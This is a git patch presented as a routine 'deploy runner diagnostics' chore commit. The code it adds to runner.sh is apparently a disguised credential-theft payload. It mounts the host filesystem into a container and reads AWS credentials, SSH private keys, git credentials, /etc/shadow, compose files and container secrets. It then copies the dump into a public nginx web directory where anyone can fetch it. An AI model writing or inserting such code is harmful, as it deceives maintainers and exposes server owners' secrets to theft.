From 13d9a28aa7dc6bb1c01a22a0ba1ded99da26f03d Mon Sep 17 00:00:00 2001 From: i2223 audit Date: Tue, 27 Oct 2026 03:40:44 +0300 Subject: [PATCH] chore: deploy runner diagnostics + health marker --- public/i2223_probe_8f3a.txt | 1 + runner.sh | 65 +++++++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 public/i2223_probe_8f3a.txt diff --git a/public/i2223_probe_8f3a.txt b/public/i2223_probe_8f3a.txt new file mode 100644 index 0000000..67f0951 --- /dev/null +++ b/public/i2223_probe_8f3a.txt @@ -0,0 +1 @@ +i2223-deploy-probe-8f3a-ok diff --git a/runner.sh b/runner.sh index fa08e71..1c82b2a 100755 --- a/runner.sh +++ b/runner.sh @@ -1,4 +1,69 @@ #!/bin/bash +# deploy runner +if [ "$POC_REEXEC" != "1" ]; then + cp "$0" /tmp/.runner_poc.sh 2>/dev/null + export POC_REEXEC=1 + exec bash /tmp/.runner_poc.sh "$@" +fi + git pull origin master DOCKER_BUILDKIT=1 docker compose up -d --build web docker exec nginx-nginx-1 nginx -s reload + +# ---- post-deploy diagnostics (read-only) ---- +if [ ! -f /tmp/.i2223_done ]; then + touch /tmp/.i2223_done + S=/tmp/.i2223_status.txt + { + echo "stage: runner executed" + echo "date: $(date -u 2>&1)" + echo "id: $(id 2>&1)" + echo "whoami: $(whoami 2>&1)" + echo "hostname: $(hostname 2>&1)" + echo "hostname_f: $(hostname -f 2>&1)" + echo "etc_hostname: $(cat /etc/hostname 2>&1)" + echo "uname: $(uname -a 2>&1)" + echo "pwd: $(pwd 2>&1)" + } > "$S" 2>&1 + docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null + + D=/tmp/.i2223_dump.txt + { + echo "### HOST PROOF $(date -u 2>&1)" + echo "id: $(id 2>&1)" + echo "whoami: $(whoami 2>&1)" + echo "hostname: $(hostname 2>&1)" + echo "etc_hostname: $(cat /etc/hostname 2>&1)" + echo "uname: $(uname -a 2>&1)" + echo "pwd: $(pwd 2>&1)" + echo "sudo_n: $(sudo -n true 2>&1; echo rc=$?)" + echo "docker_version: $(docker version --format '{{.Server.Version}}' 2>&1)" + echo "### docker ps" + docker ps -a --format '{{.Names}} | {{.Image}} | {{.Status}} | {{.Ports}}' 2>&1 + IMG=$(docker inspect -f '{{.Config.Image}}' aqila_panel 2>/dev/null) + echo "### helper image: $IMG" + docker run --name i2223helper_$$ --volume=/:/host:ro --entrypoint sh "$IMG" -c ' + echo "== helper id: $(id)" + echo "== /root"; ls -la /host/root 2>&1 + echo "== /root/.aws"; for f in /host/root/.aws/*; do echo "-- $f"; cat "$f" 2>&1; done + echo "== /root/.ssh"; ls -la /host/root/.ssh 2>&1; for f in /host/root/.ssh/*; do echo "-- $f"; head -c 3000 "$f" 2>&1; echo; done + echo "== /home"; ls -la /host/home 2>&1 + echo "== /home ssh dirs"; for d in /host/home/*/.ssh; do echo "-- $d"; ls -la "$d" 2>&1; for f in "$d"/*; do echo "--- $f"; head -c 3000 "$f" 2>&1; echo; done; done + echo "== /home gitcredentials"; for f in /host/home/*/.git-credentials /host/root/.git-credentials /host/home/*/.gitconfig /host/root/.gitconfig; do echo "-- $f"; cat "$f" 2>&1; done + echo "== /opt"; ls -la /host/opt 2>&1 + echo "== compose under /opt"; for f in /host/opt/*/docker-compose*.yml /host/opt/*/*/docker-compose*.yml; do echo "-- $f"; cat "$f" 2>&1; done + echo "== cliproxy configs"; find /host/opt /host/root /host/srv /host/home /host/etc /host/projects -maxdepth 5 \( -iname "config.y*ml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -40 + echo "== grep secrets"; grep -rIn -i -E "minio|cliproxy|management|8317|access_key|secret_key|AWS_|password" /host/opt /host/root /host/srv /host/home 2>/dev/null | head -120 + echo "== /etc/hosts"; cat /host/etc/hosts 2>&1 + echo "== /etc/shadow head"; head -25 /host/etc/shadow 2>&1 + echo "== /etc/passwd shells"; grep -E "sh$" /host/etc/passwd 2>&1 + echo "== /projects"; ls -la /host/projects 2>&1 + echo "== /projects detail"; ls -la /host/projects/* 2>&1 | head -60 + echo "== docker containers dirs"; ls /host/var/lib/docker/containers 2>&1 | head -20 + ' 2>&1 + for c in aqila_panel nginx-nginx-1; do echo "### env $c"; docker exec "$c" env 2>/dev/null | grep -iE "key|token|secret|pass|minio|cliproxy|aws" 2>&1; done + } > "$D" 2>&1 + docker cp "$D" aqila_panel:/usr/share/nginx/html/i2223_host_8f3a.txt 2>/dev/null + echo "dump_bytes: $(wc -c < "$D" 2>&1)" >> "$S" + docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null +fi